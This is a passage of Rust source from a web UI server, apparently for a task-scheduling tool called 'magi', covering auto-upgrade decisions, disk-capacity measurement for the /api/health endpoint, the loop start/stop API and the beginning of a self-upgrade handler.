2666    failed: Option<&str>,
2667) -> AutoUpgradeDecision {
2668    if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2669        AutoUpgradeDecision::Skip("disabled")
2670    } else if in_motion {
2671        AutoUpgradeDecision::Skip("upgrade already in progress")
2672    } else if failed == Some(tag) {
2673        AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2674    } else if busy {
2675        AutoUpgradeDecision::Wait
2676    } else {
2677        AutoUpgradeDecision::Trigger
2678    }
2679}
2680
2681/// Refresh the shared cache and optionally request the same handover as the UI.
2682async fn run_update_recheck(ui: Arc<Ui>) {
2683    loop {
2684        let cfg = match Config::discover(&ui.repo, None) {
2685            Ok((cfg, _)) => cfg,
2686            Err(e) => {
2687                updater::log_warn(
2688                    &ui.home,
2689                    &format!("auto-upgrade: config unavailable: {e:#}"),
2690                );
2691                tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
2692                continue;
2693            }
2694        };
2695        if should_spawn_recheck(&cfg.update)
2696            && let Some(checker) = updater::Checker::new(&cfg.update)
2697        {
2698            let progress = updater::read_progress(&ui.home);
2699            let mut latest = checker.cached_update();
2700            if update_recheck_due(&checker, progress.as_ref()) {
2701                match checker.newer_release().await {
2702                    Ok(found) => latest = found,
2703                    Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2704                }
2705            }
2706            if cfg.update.auto_restart
2707                && let Some(latest) = latest
2708            {
2709                let response =
2710                    begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2711                updater::log_step(
2712                    &ui.home,
2713                    &format!("auto-upgrade: request status {}", response.status()),
2714                );
2715            }
2716        }
2717        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2718    }
2719}
2720
2721/// [`UpdateView`] from the same throttled, disk-only state
2722/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2723/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2724/// no cached state at all, which is correct: an operator who turned checking
2725/// off gets no opinion, not a stale one.
2726fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2727    let default;
2728    let cfg = match cfg {
2729        Some(cfg) => cfg,
2730        None => {
2731            default = Config::default();
2732            &default
2733        }
2734    };
2735    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2736    match latest {
2737        Some(latest) => UpdateView {
2738            available: true,
2739            to: Some(latest.tag_name),
2740        },
2741        None => UpdateView {
2742            available: false,
2743            to: None,
2744        },
2745    }
2746}
2747
2748/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2749/// from the parked run's own state when the stage is
2750/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2751/// already on disk in `run.json`, so this reads them fresh rather than
2752/// trusting whatever was true the moment the park was requested.
2753fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2754    let now = Timestamp::now();
2755    let lease = updater::read_lease(&ui.home);
2756    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2757    let run_id = alive
2758        .and_then(|l| l.parked_run.as_deref())
2759        .or(progress.parked_run.as_deref());
2760    let parking = progress.stage == updater::Stage::Parking;
2761    let waited = alive.map_or_else(String::new, |l| {
2762        let secs = updater::waited_secs(l, now);
2763        format!(" (waited {} min so far)", secs / 60)
2764    });
2765    let run_text = run_id
2766        .filter(|_| parking)
2767        .map(|id| match read_run(&ui.runs, id).ok() {
2768            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2769            None => format!("run {id} is finishing"),
2770        });
2771    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2772        .filter(|t| parking && !t.is_empty())
2773        .map(|t| format!("{t} finishing"));
2774    let waiting_on = match (run_text, talks_text) {
2775        (None, None) => None,
2776        (run, talks) => {
2777            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2778            Some(format!(
2779                "{} before the address is handed over{waited}",
2780                parts.join(" and ")
2781            ))
2782        }
2783    };
2784    let detail = progress
2785        .detail
2786        .clone()
2787        .or_else(|| updater::read_note(&ui.home, &progress));
2788    let stalled = updater::stall(&progress, lease.as_ref(), now);
2789    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2790    UpgradeProgressView {
2791        trigger: progress.trigger,
2792        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2793        stuck_kind: stalled.map(|s| s.kind),
2794        handover_alive: alive.is_some(),
2795        stage: progress.stage,
2796        from: progress.from,
2797        to: progress.to,
2798        waiting_on,
2799        started_at: progress.started_at,
2800        updated_at: progress.updated_at,
2801        detail,
2802    }
2803}
2804
2805/// Last successful capacity observations, independent of admission/cleanup.
2806/// Cold or unavailable directory measurements are null, never invented zeros.
2807#[derive(Debug, Serialize)]
2808struct DiskView {
2809    /// Free bytes on the volume holding the runs, when measurable.
2810    #[serde(skip_serializing_if = "Option::is_none")]
2811    free_bytes: Option<u64>,
2812    /// Everything the runs directory occupies, when fully measurable.
2813    runs_bytes: Option<u64>,
2814    /// Everything the runs' worktrees occupy.
2815    worktrees_bytes: Option<u64>,
2816    /// The shared build cache's size, when the config names one.
2817    #[serde(skip_serializing_if = "Option::is_none")]
2818    cache_bytes: Option<u64>,
2819    /// Last bounded cleanup report, including retention and failure reasons.
2820    retention: Option<crate::retention::Report>,
2821}
2822
2823/// Capacity walks have their own demand-driven single flight, not the revision
2824/// worker: a large build cache must never delay revisions or a health response.
2825const DISK_REFRESH: Duration = Duration::from_secs(60);
2826
2827#[derive(Debug, Clone, PartialEq, Eq)]
2828struct DiskScope {
2829    runs: PathBuf,
2830    worktrees: PathBuf,
2831    cache: Option<PathBuf>,
2832}
2833
2834impl DiskScope {
2835    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2836        Self {
2837            runs: ui.runs.clone(),
2838            worktrees: ui.worktrees_root.clone(),
2839            cache: cfg.and_then(Config::cache_dir),
2840        }
2841    }
2842}
2843
2844#[derive(Debug, Clone, Copy, Default)]
2845struct DiskCapacity {
2846    free_bytes: Option<u64>,
2847    runs_bytes: Option<u64>,
2848    worktrees_bytes: Option<u64>,
2849    cache_bytes: Option<u64>,
2850}
2851
2852impl DiskCapacity {
2853    fn measure(scope: &DiskScope) -> Self {
2854        Self {
2855            free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2856            runs_bytes: disk_capacity_size(&scope.runs),
2857            worktrees_bytes: disk_capacity_size(&scope.worktrees),
2858            cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2859        }
2860    }
2861
2862    fn retain_successes(&mut self, next: Self) {
2863        self.free_bytes = next.free_bytes.or(self.free_bytes);
2864        self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2865        self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2866        self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2867    }
2868}
2869
2870/// Like disk::dir_size, do not follow links. Unlike its admission-oriented
2871/// best-effort total, an incomplete observation must not look like an empty tree.
2872fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2873    let metadata = match std::fs::symlink_metadata(path) {
2874        Ok(metadata) => metadata,
2875        Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2876        Err(_) => return None,
2877    };
2878    if !metadata.is_dir() {
2879        return Some(if metadata.is_file() {
2880            metadata.len()
2881        } else {
2882            0
2883        });
2884    }
2885    let mut total = 0;
2886    let mut stack = vec![path.to_owned()];
2887    while let Some(dir) = stack.pop() {
2888        for entry in std::fs::read_dir(dir).ok()? {
2889            let entry = entry.ok()?;
2890            let metadata = entry.metadata().ok()?;
2891            if metadata.is_dir() {
2892                stack.push(entry.path());
2893            } else if metadata.is_file() {
2894                total += metadata.len();
2895            }
2896        }
2897    }
2898    Some(total)
2899}
2900
2901#[derive(Debug, Default)]
2902struct DiskObservation {
2903    scope: Option<DiskScope>,
2904    capacity: DiskCapacity,
2905    in_flight: bool,
2906    finished: Option<std::time::Instant>,
2907}
2908
2909impl DiskObservation {
2910    fn observe(
2911        state: &Arc<Mutex<Self>>,
2912        scope: DiskScope,
2913        measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2914    ) -> DiskCapacity {
2915        let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2916        if observation.scope.as_ref() != Some(&scope) {
2917            observation.scope = Some(scope.clone());
2918            observation.capacity = DiskCapacity::default();
2919            observation.finished = None;
2920        }
2921        let capacity = observation.capacity;
2922        if observation.in_flight
2923            || observation
2924                .finished
2925                .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2926        {
2927            return capacity;
2928        }
2929        observation.in_flight = true;
2930        drop(observation);
2931
2932        let refresh = DiskRefresh {
2933            state: Arc::clone(state),
2934            scope,
2935        };
2936        tokio::task::spawn_blocking(move || {
2937            let next = measure(&refresh.scope);
2938            let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2939            if observation.scope.as_ref() == Some(&refresh.scope) {
2940                observation.capacity.retain_successes(next);
2941            }
2942            drop(observation);
2943            // The guard also clears the flight on panic or a cancelled,
2944            // not-yet-started blocking job. No failed scan can wedge health.
2945            drop(refresh);
2946        });
2947        capacity
2948    }
2949}
2950
2951struct DiskRefresh {
2952    state: Arc<Mutex<DiskObservation>>,
2953    scope: DiskScope,
2954}
2955
2956impl Drop for DiskRefresh {
2957    fn drop(&mut self) {
2958        let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2959        observation.in_flight = false;
2960        if observation.scope.as_ref() == Some(&self.scope) {
2961            // Wait a full period after completion, including failed scans.
2962            observation.finished = Some(std::time::Instant::now());
2963        }
2964    }
2965}
2966
2967impl DiskView {
2968    /// Return immediately, retaining known capacity while one worker refreshes.
2969    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2970        let capacity = DiskObservation::observe(
2971            &ui.monitor.disk,
2972            DiskScope::of(ui, cfg),
2973            DiskCapacity::measure,
2974        );
2975        Self::with_capacity(ui, capacity)
2976    }
2977
2978    fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
2979        Self {
2980            free_bytes: crate::disk::free_bytes(&ui.runs)
2981                .ok()
2982                .or(capacity.free_bytes),
2983            runs_bytes: capacity.runs_bytes,
2984            worktrees_bytes: capacity.worktrees_bytes,
2985            cache_bytes: capacity.cache_bytes,
2986            retention: ui
2987                .runs
2988                .parent()
2989                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2990                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2991        }
2992    }
2993}
2994
2995/// The daemon's state as the UI presents it.
2996#[derive(Debug, Serialize)]
2997struct DaemonView {
2998    running: bool,
2999    idle: Option<bool>,
3000    pid: Option<u32>,
3001    /// Every task and run currently in flight. Empty when idle; more than
3002    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
3003    /// run going at once.
3004    current: Vec<daemon::Current>,
3005    completed: Option<u64>,
3006    stale_for_secs: Option<i64>,
3007}
3008
3009impl DaemonView {
3010    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
3011    /// not this UI's — a crashed daemon must not look alive here while
3012    /// `doctor` calls it dead.
3013    fn of(status: Option<daemon::Reading>) -> Self {
3014        let Some(status) = status else {
3015            return Self {
3016                running: false,
3017                idle: None,
3018                pid: None,
3019                current: Vec::new(),
3020                completed: None,
3021                stale_for_secs: None,
3022            };
3023        };
3024        let now = Timestamp::now();
3025        let age = status.age_secs(now);
3026        Self {
3027            running: status.running(now),
3028            idle: Some(status.idle),
3029            pid: status.pid,
3030            current: status.current,
3031            completed: Some(status.completed),
3032            stale_for_secs: age,
3033        }
3034    }
3035}
3036
3037// Discover display configuration off the request path. Capacity measurement
3038// retains its separate single flight and scope/failure handling below.
3039fn refresh_health_config(ui: &Arc<Ui>) {
3040    let mut cache = ui
3041        .monitor
3042        .disk_cache
3043        .lock()
3044        .unwrap_or_else(PoisonError::into_inner);
3045    if cache.loading
3046        || cache
3047            .measured
3048            .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3049    {
3050        return;
3051    }
3052    cache.loading = true;
3053    let weak = Arc::downgrade(ui);
3054    std::thread::spawn(move || {
3055        let Some(ui) = weak.upgrade() else { return };
3056        let cfg = deputy_config(&ui.repo);
3057        let update = cached_update_view(cfg.as_ref());
3058        let mut cache = ui
3059            .monitor
3060            .disk_cache
3061            .lock()
3062            .unwrap_or_else(PoisonError::into_inner);
3063        cache.config = cfg;
3064        cache.update = Some(update);
3065        cache.measured = Some(std::time::Instant::now());
3066        cache.loading = false;
3067    });
3068}
3069
3070fn health_counts(
3071    ui: &Ui,
3072    fallback_questions_rev: u64,
3073) -> ApiResult<(usize, usize, usize, u64, usize)> {
3074    let mut index = ui
3075        .monitor
3076        .health_index
3077        .lock()
3078        .unwrap_or_else(PoisonError::into_inner);
3079    let ids = run_ids(&ui.runs);
3080    let seen: HashSet<_> = ids.iter().cloned().collect();
3081    index.runs.retain(|id, _| seen.contains(id));
3082    let mut unreadable = 0;
3083    for id in ids {
3084        // Recheck identity on every request, including atomic replacements
3085        // with preserved length/mtime. A failed stat is never cached as good.
3086        let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3087        let bad = match identity {
3088            Ok(identity) => {
3089                if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3090                    let bad = read_run(&ui.runs, &id).is_err();
3091                    index.runs.insert(id.clone(), (identity, bad));
3092                    #[cfg(test)]
3093                    {
3094                        index.run_parses += 1;
3095                    }
3096                }
3097                index.runs[&id].1
3098            }
3099            Err(_) => true,
3100        };
3101        unreadable += usize::from(bad);
3102    }
3103    let questions_rev = try_stamps(ui.questions.root(), false, true)
3104        .map(|stamps| stamps_revision(&stamps))
3105        .unwrap_or(fallback_questions_rev);
3106    if index.questions.as_ref().is_none_or(|counts| {
3107        counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3108    }) {
3109        let questions = ui.questions.list();
3110        index.questions = Some(QuestionCounts {
3111            revision: questions_rev,
3112            measured: std::time::Instant::now(),
3113            open: questions.iter().filter(|q| q.status.open()).count(),
3114            owner: questions
3115                .iter()
3116                .filter(|q| {
3117                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3118                })
3119                .count(),
3120        });
3121    }
3122    let notifications_rev =
3123        stamps_revision(&notice_and_decision_stamps(ui).map_err(anyhow::Error::from)?);
3124    if index
3125        .notices
3126        .is_none_or(|(rev, _)| rev != notifications_rev)
3127    {
3128        index.notices = Some((notifications_rev, ui.notices.count_unread()));
3129    }
3130    let questions = index.questions.as_ref().unwrap();
3131    Ok((
3132        unreadable,
3133        questions.open,
3134        questions.owner,
3135        notifications_rev,
3136        index.notices.unwrap().1,
3137    ))
3138}
3139
3140async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3141    let revisions = ui.monitor.revisions(&ui).await?;
3142    refresh_health_config(&ui);
3143    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3144        // One read of the status file for the two fields that describe it, so
3145        // `daemon` and `loop` in the same answer cannot disagree about who is
3146        // running the loop.
3147        let reading = daemon::read_status(&ui.home);
3148        // Read on its own line, not inside the literal below: the loop's lock
3149        // is not reentrant, and a guard taken as a temporary there would still
3150        // be held when `loop_view` took it again.
3151        let loop_rev = ui.lock_loop().rev;
3152        let (
3153            runs_unreadable,
3154            questions_open,
3155            questions_needs_owner,
3156            notifications_rev,
3157            notifications_unread,
3158        ) = health_counts(&ui, revisions.2)?;
3159        let ((cfg, config_observed, sizes, measured), update) = {
3160            let cache = ui
3161                .monitor
3162                .disk_cache
3163                .lock()
3164                .unwrap_or_else(PoisonError::into_inner);
3165            (
3166                (
3167                    cache.config.clone(),
3168                    cache.measured.is_some(),
3169                    cache.disk.clone(),
3170                    cache.measured,
3171                ),
3172                cache.update.clone().unwrap_or(UpdateView {
3173                    available: false,
3174                    to: None,
3175                }),
3176            )
3177        };
3178        // Retain the base's capacity observation independently of config
3179        // refreshes. A cold config read may still be pending; an existing
3180        // capacity flight must remain visible to concurrent health requests.
3181        let prior_capacity = {
3182            let mut observation = ui
3183                .monitor
3184                .disk
3185                .lock()
3186                .unwrap_or_else(PoisonError::into_inner);
3187            // Adopt a completed size snapshot only before the scoped capacity
3188            // observer has started. Later scope changes remain its authority.
3189            if observation.scope.is_none()
3190                && let Some(sizes) = sizes
3191            {
3192                observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3193                observation.capacity = DiskCapacity {
3194                    runs_bytes: Some(sizes.runs),
3195                    worktrees_bytes: Some(sizes.worktrees),
3196                    cache_bytes: sizes.cache,
3197                    free_bytes: None,
3198                };
3199                observation.finished = measured;
3200            }
3201            observation.scope.as_ref().map(|_| observation.capacity)
3202        };
3203        let disk = if config_observed {
3204            serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3205        } else {
3206            serde_json::to_value(DiskView::with_capacity(
3207                &ui,
3208                prior_capacity.unwrap_or_default(),
3209            ))
3210            .ok()
3211        };
3212        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3213        let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3214        #[cfg(not(test))]
3215        let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3216        #[cfg(test)]
3217        let looping = ui.loop_view(reading.clone());
3218        Ok(Json(HealthView {
3219            jobs: jobs.into_iter().map(WorkerView::from).collect(),
3220            version: env!("CARGO_PKG_VERSION"),
3221            home: ui.home.display().to_string(),
3222            queue_rev: revisions.0,
3223            runs_rev: revisions.1,
3224            questions_rev: revisions.2,
3225            talks_rev: revisions.3,
3226            notifications_rev,
3227            notifications_unread,
3228            loop_rev,
3229            runs_unreadable,
3230            questions_open,
3231            questions_needs_owner,
3232            daemon: DaemonView::of(reading.clone()),
3233            looping,
3234            disk,
3235            update,
3236            upgrade,
3237            upgrade_request_error: ui
3238                .upgrade_request_error
3239                .lock()
3240                .unwrap_or_else(PoisonError::into_inner)
3241                .clone(),
3242        }))
3243    })
3244    .await
3245}
3246
3247/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
3248#[derive(Debug, Serialize)]
3249struct LoopView {
3250    /// A scheduler is running, independently of this web process.
3251    running: bool,
3252    /// The scheduler has been asked to stop scheduling new work.
3253    stopping: bool,
3254    /// An explicit operator park was requested, independently from updates.
3255    parking: bool,
3256    /// This scheduler supports durable controls from any web generation.
3257    owned: bool,
3258    /// Repository the loop uses for tasks that name none - what it was
3259    /// started with while it runs, and what a start would use before that.
3260    repo: String,
3261    /// Merge mode override in force, or `null` when each repository's own
3262    /// config decides.
3263    merge: Option<String>,
3264    /// Why the last loop in this process ended, when it ended badly.
3265    ///
3266    /// The only place a crashed loop is visible to someone holding a phone.
3267    /// It is logged at error level as well, but a terminal nobody kept open
3268    /// is not a report, and a loop that died at 3am must not read as merely
3269    /// stopped in the morning. Named as [`Task::last_error`] is, because it
3270    /// answers the same question about the same kind of failure.
3271    last_error: Option<String>,
3272    /// The status file, judged the same way `/api/health` judges it: this is
3273    /// what says whether a loop is alive in some *other* process.
3274    daemon: DaemonView,
3275}
3276
3277/// A legacy embedded scheduler that this web process cannot control.
3278///
3279/// Worker-protocol schedulers use durable controls regardless of which process
3280/// started them. Older schedulers are identified by their foreign heartbeat.
3281#[derive(Debug, Clone, Copy)]
3282struct Foreign {
3283    /// The pid the other process published, when it published one.
3284    pid: Option<u32>,
3285}
3286
3287impl Foreign {
3288    /// Another process's live loop, or `None` when this process is free to
3289    /// run one.
3290    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3291        // A fresh heartbeat with no pid in it is still evidence of a live
3292        // daemon. "Some other process" is the honest answer, and refusing
3293        // to start beside it is the safe one.
3294        if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3295            return None;
3296        }
3297        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3298    }
3299
3300    /// How a conflict names it. The pid is the whole point of the message: it
3301    /// is what the operator needs to find the terminal that owns the loop.
3302    fn who(&self) -> String {
3303        match self.pid {
3304            Some(pid) => format!("another magi process (pid {pid})"),
3305            None => "another magi process".to_owned(),
3306        }
3307    }
3308}
3309
3310/// How a loop is started, as a future this module can hold onto.
3311///
3312/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
3313/// trait object or a hand-written `Debug` impl for the sake of one seam.
3314type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3315
3316#[cfg(test)]
3317type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3318
3319/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
3320#[cfg(test)]
3321fn launch_daemon(
3322    opts: daemon::Opts,
3323    stop: daemon::Stop,
3324) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3325    Box::pin(daemon::serve_until(opts, stop))
3326}
3327
3328/// Local web-control revisions and errors, plus the unit-test launch seam.
3329#[derive(Debug, Default)]
3330struct LoopState {
3331    /// The loop, while there is one.
3332    #[cfg(test)]
3333    live: Option<Live>,
3334    /// Local control changes streamed as `loop_rev`; actual scheduler and
3335    /// execution ownership comes from durable status and OS-held worker leases.
3336    rev: u64,
3337    /// Why the last loop ended, when it ended badly. See
3338    /// [`LoopView::last_error`].
3339    last_error: Option<String>,
3340}
3341
3342/// A loop in flight.
3343#[cfg(test)]
3344#[derive(Debug)]
3345struct Live {
3346    /// The cooperative stop, shared with the loop task.
3347    stop: daemon::Stop,
3348    /// The task itself, kept only to answer whether it is still there: a loop
3349    /// that panicked never records its own end, and without this the view
3350    /// would go on reporting a loop that no longer exists - the one lie that
3351    /// would leave the operator with no button to press.
3352    handle: tokio::task::JoinHandle<()>,
3353    /// What the loop was started with, so the view reports the repository and
3354    /// merge mode its runs will actually use rather than what an edit to the
3355    /// config since would give.
3356    opts: daemon::Opts,
3357}
3358
3359#[cfg(test)]
3360impl Live {
3361    /// Is the task still there? See [`Live::handle`].
3362    fn alive(&self) -> bool {
3363        !self.handle.is_finished()
3364    }
3365}
3366
3367/// Take the loop lock, recovering from a poisoned one.
3368///
3369/// What this mutex holds is a stop flag, a task handle and two counters, none
3370/// of which a panic elsewhere can leave in a state worth refusing to read.
3371/// Propagating the poison instead would mean an operator who can see the loop
3372/// running and can no longer stop it from the only surface they have.
3373fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3374    state.lock().unwrap_or_else(PoisonError::into_inner)
3375}
3376
3377/// `GET /api/loop`.
3378async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3379    blocking(move || {
3380        let reading = daemon::read_status(&ui.home);
3381        #[cfg(not(test))]
3382        let view = ui.try_loop_view(reading)?;
3383        #[cfg(test)]
3384        let view = ui.loop_view(reading);
3385        Ok(Json(view))
3386    })
3387    .await
3388}
3389
3390/// The body of `POST /api/loop`.
3391///
3392/// One required field and nothing else: no `default` and no unknown fields,
3393/// so a body that fails to say which way the switch was flipped is a 400
3394/// rather than a tap that quietly does the opposite of what was pressed.
3395#[derive(Debug, Deserialize)]
3396#[serde(deny_unknown_fields)]
3397struct LoopCommand {
3398    running: bool,
3399    /// Stop the run in flight at its next node boundary rather than letting it
3400    /// finish.
3401    ///
3402    /// Defaults to false, so the plain stop keeps meaning what it meant: a
3403    /// competition is tens of minutes of paid work and finishing it is
3404    /// normally the cheapest thing to do. A park is for the operator who
3405    /// wants the process gone now - to replace the binary, most of all - and
3406    /// it costs at most the node in progress because every node writes its
3407    /// state before the next one starts.
3408    #[serde(default)]
3409    park: bool,
3410}
3411
3412/// Start or control the detached scheduler without waiting for execution
3413/// workers. Only an explicit park asks workers to stop at a node boundary.
3414async fn loop_post(
3415    State(ui): State<Arc<Ui>>,
3416    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3417) -> ApiResult<Json<LoopView>> {
3418    // Taken as a `Result` so a malformed body is a 400 like every other route
3419    // here, rather than axum's default 422 that the UI has no branch for.
3420    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3421    #[cfg(not(test))]
3422    {
3423        if body.running {
3424            ui.start_detached_loop().await?;
3425        } else {
3426            let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3427            ui.stop_loop(foreign, body.park)?;
3428        }
3429        Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3430    }
3431    #[cfg(test)]
3432    {
3433        blocking(move || {
3434            let reading = daemon::read_status(&ui.home);
3435            let foreign = Foreign::of(reading.as_ref());
3436            if body.running {
3437                ui.start_loop(foreign)?;
3438            } else {
3439                ui.stop_loop(foreign, body.park)?;
3440            }
3441            Ok(Json(ui.loop_view(reading)))
3442        })
3443        .await
3444    }
3445}
3446
3447/// What `POST /api/upgrade` set in motion.
3448#[derive(Debug, Serialize)]
3449struct UpgradeView {
3450    /// The version this process is running.
3451    from: String,
3452    /// The release it is replacing itself with, when there is one.
3453    to: Option<String>,
3454    /// What the operator should expect to happen next.
3455    detail: String,
3456}
3457
3458/// The stage of an upgrade that is still moving, if the record says so.
3459/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3460fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3461    progress.filter(|p| !p.stage.terminal())
3462}
3463
3464/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3465/// Unknown diagnostics retain their complete message without guessing a delay.
3466fn upgrade_retry_after(message: &str) -> Option<u64> {
3467    if !message.contains("GitHub") || !message.contains("rate limit") {
3468        return None;
3469    }
3470    if message.contains("retry now") {
3471        return Some(0);
3472    }
3473    let duration = message
3474        .split_once("resets in ")
3475        .or_else(|| message.split_once("retry after "))?
3476        .1
3477        .split_once(')')?
3478        .0;
3479    let mut rest = duration.trim();
3480    if rest.is_empty() {
3481        return None;
3482    }
3483    let mut total = 0u64;
3484    while !rest.is_empty() {
3485        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3486        let amount: u64 = rest[..n].parse().ok()?;
3487        let scale = match rest[n..].chars().next()? {
3488            's' => 1,
3489            'm' => 60,
3490            'h' => 3600,
3491            'd' => 86400,
3492            _ => return None,
3493        };
3494        total = total.checked_add(amount.checked_mul(scale)?)?;
3495        rest = rest[n + 1..].trim_start();
3496    }
3497    Some(total)
3498}
3499
3500#[derive(Debug, Clone, Serialize)]
3501struct UpgradeRequestFailure {
3502    occurred_at: String,
3503    error: String,
3504    retry_after_secs: Option<u64>,
3505    /// Unix seconds; independent of the phone's polling cadence.
3506    retry_at: Option<u64>,
3507}
3508
3509impl UpgradeRequestFailure {
3510    fn new(error: String) -> Self {
3511        let retry_after_secs = upgrade_retry_after(&error);
3512        let now = std::time::SystemTime::now()
3513            .duration_since(std::time::UNIX_EPOCH)
3514            .unwrap_or_default()
3515            .as_secs();
3516        Self {
3517            occurred_at: jiff::Timestamp::now().to_string(),
3518            error,
3519            retry_after_secs,
3520            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3521        }
3522    }
3523}
3524
3525/// `POST /api/upgrade` - replace this binary with the newest release and come
3526/// back on it.
3527///
3528/// Replace the installed binary, restart the detached scheduler, release the
3529/// web listener, then start the successor. Active task and conversation
3530/// workers retain their immutable executable and continue without parking.
3531///
3532/// A legacy embedded scheduler is the only incompatible owner: its work
3533/// must finish or park before the first migration replaces its process.
3534///
3535/// Answers **202**: the reply has to reach the phone while this process can
3536/// still send one, and the phone learns the deck is back by reconnecting.
3537async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3538    begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3539}
3540
3541async fn begin_upgrade(
3542    ui: &Arc<Ui>,
3543    trigger: updater::UpgradeTrigger,
3544    latest: Option<kaishin::LatestRelease>,
3545) -> Response {
3546    let reading = daemon::read_status(&ui.home);
3547    if let Some(other) = Foreign::of(reading.as_ref()) {
3548        return ApiError::conflict(format!(
3549            "{} is a legacy scheduler without detached restart support. \
3550             Finish or explicitly park its work in the existing UI before \
3551             this first migration; independent schedulers do not need this.",
3552            other.who()
3553        ))
3554        .into_response();
3555    }
3556
3557    // A second upgrade while one is moving would replace the binary and
3558    // signal the handover again after `serve` already consumed the first
3559    // signal, leaving the process in `replaced` forever. Try-lock rather than
3560    // wait: a phone connection must not hang behind a GitHub round trip.
3561    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3562        return ApiError::conflict("another request is already preparing an upgrade")
3563            .into_response();
3564    };
3565    // Hold the same gate through recording/clearing the request outcome, so
3566    // an older response cannot overwrite a retry's result.
3567    if trigger == updater::UpgradeTrigger::Auto {
3568        let cfg = match Config::discover(&ui.repo, None) {
3569            Ok((cfg, _)) => cfg,
3570            Err(e) => {
3571                return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3572            }
3573        };
3574        let Some(latest) = latest else {
3575            return StatusCode::NO_CONTENT.into_response();
3576        };
3577        let busy = ui.auto_upgrade_busy();
3578        let failed = ui
3579            .auto_failed_tag
3580            .lock()
3581            .unwrap_or_else(PoisonError::into_inner)
3582            .clone();
3583        let decision = auto_upgrade_decision(
3584            &cfg.update,
3585            updater::disabled_by_env(),
3586            ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3587                || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some(),
3588            busy,
3589            &latest.tag_name,
3590            failed.as_deref(),
3591        );
3592        if decision != AutoUpgradeDecision::Trigger {
3593            let reason = match decision {
3594                AutoUpgradeDecision::Wait => "busy; waiting for runs and chats to finish",
3595                AutoUpgradeDecision::Skip(reason) => reason,
